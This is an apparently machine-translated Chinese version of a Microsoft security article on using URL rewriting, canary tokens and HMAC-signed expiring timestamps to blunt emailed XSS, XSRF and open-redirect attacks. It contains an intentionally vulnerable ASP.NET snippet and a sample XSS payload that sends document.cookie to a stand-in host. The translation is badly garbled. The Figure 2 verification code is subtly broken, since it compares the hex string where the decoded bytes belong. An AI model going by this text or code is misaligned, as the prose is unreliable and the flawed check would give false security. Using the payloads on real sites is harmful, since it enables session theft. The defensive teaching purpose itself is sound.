安全简报

通过 URL 重写保护站点

Bryan Sullivan

内容

查看问题
可能的解决方案: 个性化的资源定位器
更好的解决方案: Canary URL
无国籍的方法: 自动过期 URL
最后一步
某些警告

Tim Berners-Lee 一次 famously 编写的"超酷的 URI 不更改"。 他的观点是断开的超链接 erode 应用程序中的用户信任,应该 URI 设计方式它们可以保持不变的 200 个年或多个。虽然我知道他点,我将 Venture 猜测的他建立的语句他未 foreseen 的超链接将成为黑客攻击 innocent 的用户的一种方法。

如跨站点脚本 (XSS)、 跨站点请求伪造 (XSRF) 和打开重定向网络仿冒的攻击通常会通过恶意超链接发送的电子邮件传播。(如果您熟悉这些攻击我建议阅读有关在将打开 Web 应用程序安全项目 (OWASP) 站点.) 我们可以通过频繁更改我们的 URL 缓解许多这些漏洞的风险不一次每隔 200 年,但一次每 10 分钟。攻击者将不再能够通过电子邮件 poisoned 超链接,因为链接将断开,并且无效时邮件达到其目标的受害者的大容量利用应用程序的漏洞。所有截止 respect 要但是 Tim 时"超酷的 URI 不能更改,, 安全的肯定会执行。

查看问题

我们到一个解决方案的详细信息之前,让我们看问题在进一步看。此处是表达式易于 XSS 攻击某些 ASP.NET 代码的一个非常简单的示例:

protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}

该代码是易受攻击,因为页是写入用户名参数请求中回没有任何验证响应或编码。 攻击者轻松地利用此漏洞通过精心制作使用如注入到在用户名参数的脚本的 URL:

page.aspx?username=<script>document.location=   'http://contoso.com/'+document.cookie;</script>

现在,攻击者只需要说服受害者单击该链接上。 大容量的电子邮件是完成对此,进行操作,尤其是如果将一个小的社会工程应用 (例如"单击此处以接收免费 Xbox 360 !") 的有效方法。 类似的恶意 URL 可构造,并通过电子邮件发送利用 XSRF 漏洞:

checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com

打开重定向漏洞是不已知 XSS 和 XSRF。 在应用程序允许用户在请求中指定的任意重定向 URL 时发生。 这可能导致的用户认为用户单击将用其来 good.adatum.com,链接一个网络仿冒攻击,但在现实生活中她将被重定向到 evil.contoso.com。

可能的解决方案: 个性化的资源定位器

此问题的一种可能解决方案是应用程序,以便它们为每个用户个性化设置重写的 URL (或更好地尚未,每个用户会话)。 是例如应用程序未能 URL contoso.com/page.aspx 重写为 contoso.com/{GUID}/page.aspx,其中 {GUID} 是随机的唯一为每个用户会话。 假定有 2 128 个可能的 GUID 值太 fantastically 的攻击者可以猜测一个有效的密码,因此可能他将无法创建,和电子邮件有效 (和 poisoned) 的 URL。

ASP.NET 已经具有类似的功能在中生成作为其无 Cookie 会话处理功能的一部分。 因为某些用户不能或不接受 HTTP Cookie,可以将 ASP.NET 配置而是存储在 URL 的用户的会话 ID。 您可以简单更改启用这向 Web.config 文件:

<sessionState cookieless="true" />

在进一步检查但是,我们看到这种方法不真正减轻任何我们关注,XSS 像安全漏洞。 攻击者不能猜测有效的会话 GUID,但他实际上不必。 他可以启动自己的会话,获取一个有效的会话 ID,然后引诱受害者访问到通过电子邮件发送 URL 中使用该会话。

即使其他用户正在使用该会话,攻击者将不阻止同时使用它,并窃取受害者的私有数据。 应用程序有确定两个不同的人都使用同一会话没有准确的方法,当然,它未能检查传入的 IP 地址中,,但有很多方案中的单个用户的 IP 地址更改合法地将其从请求到请求或多个用户共享同一个 IP 地址。 这种攻击称为会话 fixation 攻击,而且是为什么使用无 Cookie 会话管理通常不建议的原因之一。

更好的解决方案: Canary URL

我们可以极大地提高个性化 URL 方法的效率,通过一个小的更改。 而不是使用 URL 来存储会话 ID,我们通常在 Cookie 中存储会话 ID 并使用 URL 存储在客户端和服务器之间共享的机密信息。 我们修改 URL 重写代码,以存储每会话,唯一和随机值在会话状态和作为 URL 的一部分:

// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...

(实际重新编写 URL 和分析传入值所需代码位于本文的范畴。 ASP.NET MVC 可用于为此目的,并且 Scott Guthrie 还具有 有关 ASP.NET URL 重写方法的 blogged.)

在任何请求,我们值进行比较 GUID 存储在该 URL 以在会话状态中存储。 如果不匹配,或者如果 GUID 是缺少 URL,请求将被视为恶意被阻止,并且记录原始 IP 地址。 此共享机密防御 (也称为 canary 防御措施) 长已推荐的方法防止 XSRF 的攻击,但您可以看到,它减轻影响的一个很好的作业反映 XSS 漏洞也关闭电子邮件传播媒介的剪切。

值得注意这并不对 XSS 完整的解决方案。 若要 XSS 该最佳方法是通过验证输入和编码输出,解决问题的根源,但 canaries 可以被应用为其他层一道防线。

无国籍的方法: 自动过期 URL

虽然 canary URL 方法很好的安全方法,它确实有一个缺陷: 依赖于服务器端的会话状态。 如果在无状态的应用程序,如 Web 服务或一个 REST 等应用程序,可能不会要启用仅的存储 canary 值的会话状态。

在类似这样的情况下,可以无需通过实现自动过期 URL 维护服务器端会话状态来完成您的总体目标 (阻止攻击者电子邮件恶意超链接)。 过期在短时间的 URL 的时间它的请求后 (10 分钟或操作) 将大大减少攻击者电子邮件可能也会为该 URL,但仍允许合法用户有充足的时间的机会使用资源的窗口。

将到期日期在 URL 上的一个方法是重写该 URL 以包括当前的时间戳如下:

http://www.contoso.com/{timestamp}/page.aspx

只要用户对该资源请求,以查看是否的旧 10 分钟以上,或任何指定的时间阈值被检查传入的时间戳,在 URL 中。 如果是这样,请求被拒绝。 一种替代方法是所需的到期时间写入 URL,然后将该检查当前时间。 但是,这两种显示这些方法被缺陷因为攻击可能非常轻松地建立会在将来在有效的 URL:

http://www.contoso.com/{current timestamp + one hour}/page.aspx

此问题将成为更糟糕的是,如果您使用 URL 来存放过期时间戳,而不是初始请求时间戳,因为攻击者现在可以在以后指定一个任意远的点,并完全加入否定种类,保护:

http://www.contoso.com/{current timestamp + ten years}/page.aspx

在解决方案,此问题是防止攻击者通过 URL 中还包括时间戳的加密哈希,为类型的键哈希消息身份验证代码 (HMAC) 篡改时间戳。 在密钥哈希值的事实非常重要: 无需这,攻击可以再次指定一个未来的时间戳、 为其,计算哈希值并且加入您的防御否定种类。 密钥使用机密密钥的哈希时, 这是不可能。

MD 5 处于受欢迎的哈希算法时, 它不再认为是安全,如加密研究人员具有所示方式会导致冲突和因此断开该算法。 更好的选择是在 SHA-2 (安全哈希算法) 函数如不是 SHA-256,已不被成功攻击撰写本文的之一。 SHA-256 是由 Microsoft.NET Framework 类 System.Security.Cryptography.SHA256Cng、 SHA256Crypto­ServiceProvider、 SHA256Managed,和 HMACSHA256 实现的。

任何这些将工作,但由于 HMACSHA256 类具有应用机密的键值的内置功能,则最佳的选择:

HMACSHA256 hmac = new HMACSHA256(); // use a random key value

使用默认 HMACSHA256 构造函数将随机的键值应用于与该哈希应该足以使安全,但因为每个 HMACSHA256 对象将具有不同的密钥这将不会在服务器场环境中进行工作。 如果要部署场中的应用程序,需要显式构造函数中指定密钥,并确保的相同的场中的所有服务器。

下一步是编写到 URL 的时间戳与带有密钥的哈希。 为一个实现细节请注意 HMACSHA256.ComputeHash 方法的输出是一个字节数组中,但您需要将此转换为 URL 法律字符串,因为您将被写入它发送的 URL。 此转换是比听起来有点复杂的。 Base 64 常用于任意二进制数据转换为字符串文本,但 base 64 包含等号 (=) 和斜线 (/) 将 ASP.NET 的导致分析问题,即使它们是 URL 编码的字符。 相反,则应当转换 1 个字节的二进制数据一次一个十六进制的字符串如 图 1 所示。

图 1 生成键的时间戳

private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash = 
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}

最后,您必须通过 recomputing 的哈希,并确保它匹配传入的哈希验证传入的时间戳。 代码如 图 2 所示。

图 2 验证传入时间戳

private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)    
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac = 
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

最后一步

用最终的步骤是否使用了 canary 方法或了自动过期方法需要指定一个或多个作为"登陆页面"可访问没有特殊的 URL 令牌的应用程序中的页面。 没有它,没有人将能够使用应用程序,因为将会无法让初始的有效请求。

有很多方法可以指定登陆页面,从 hardcoding 重写模块代码 (明确不推荐使用) 来在 web.config 中指定这些文件 (好),但我的首选的方法是使用自定义属性。 使用自定义属性减少的代码,您需要编写并还允许继承: 可以定义一个 LandingPage 类,并将自定义属性应用于该类,并从 LandingPage 派生的任何页面将还登陆页面。

首先定义一个名为 LandingPageAttribute 的新自定义属性类。 此类实际上没有包含任何方法或属性。 只需要能够将标记具有此属性的页,并能够以编程方式确定页是否因此标记:

public class LandingPageAttribute : Attribute
{
}

现在将标记所需使用与 LandingPage 属性的这样的登陆页面任何的页面:

[LandingPage()]
public partial class HomePage : System.Web.UI.Page 

最后,URL 验证代码中检查该请求的处理程序是否具有自定义属性。 如果您实现您的 URL 重写以 HttpModule 的代码,您可以使用代码 图 3 中执行检查。

检查自定义 LandingPageAttribute 图 3

public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new 
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}

请慎用 LandingPage 属性。 不只是在重写登陆的防御措施无效页 (因为攻击可能只是删除 URL 标记),但单个登陆页面上的一个 XSS 漏洞可能危及域上的每一页。 攻击者可以将一系列的 XMLHttpRequest 调用注入客户端脚本以编程方式确定一个有效的加或时间戳,并相应地重定向其攻击。

如有可能,确定为您的应用程序的单个登陆页,然后将立即重定向到一个 URL 重写页输出所有查询字符串参数去除后的页。 是例如

http://www.contoso.com/landingpage.aspx?a=b&c=d

将自动重定向到

http://www.contoso.com/(token)/otherpage.aspx

某些警告

当然,URL 重写不能适用于所有应用程序。 此方法的一个负的副作用是尽管攻击者不再是能够恶意超链接的电子邮件,合法用户同样无法从发送有效的链接或甚至从书签应用程序中的页。 标记为登陆页的任何页可以将带有书签标记,但正如我之前,提到您需要格外使用登陆页面时。 因此,如果您希望应用程序不是主页页面的书签页的用户,URL 重写可能无法。 一个很好的解决方案

此外,虽然 URL 重写是快速而且容易在防御机制,但是仅有的: 在防御。 很不包括银 XSS 或任何其他攻击。 自动过期 URL 仍然利用具有自己的 Web 服务器的访问权限的攻击。 而不是发送出直接指向易受攻击的页面的恶意超链接,他可以发送出指向自己的网站的超链接。 当他的网站从其中一个 phished 电子邮件获取命中时, 它能够联系获取一个有效的时间戳,并然后相应地重定向用户易受攻击站点上的一个登陆页面。

URL 重写确实会使攻击者的工作难度: 他现在不得不说服用户超他的网站 (evil.contoso.com) 而不是受信任,一个 (www.msn.com),和他也离开非常明确的线索回到自己的法律执行机构执行。 但是,此将可能是为任何受害者范围的 phished 电子邮件和有其身份的用户的小并且的盗用结果。 执行使用 URL 重写的额外防御的措施,但是总是一定地址漏洞问题的根目录。

最后,我希望注意我已在本文介绍的这些技术不应解释为授权的 Microsoft 开发指南。 请随时使用它们,但不将其作为安全开发生命周期 (SDL) 要求。 我们当前执行在此区域,正在进行研究,我们会喜欢将您的反馈。 请随时与我联系在 SDL 博客 ( blogs.msdn.com/sdl) 任何注释。

将您的问题和提出的意见发送至 briefs@Microsoft.com.

Bryan Sullivan 是在 Microsoft 安全开发生命周期团队在安全项目经理,他擅长 Web 应用程序安全问题。 他的第一个简介册、 Ajax Security,通过 Addison-Wesley 发布于 2007 年 12 月。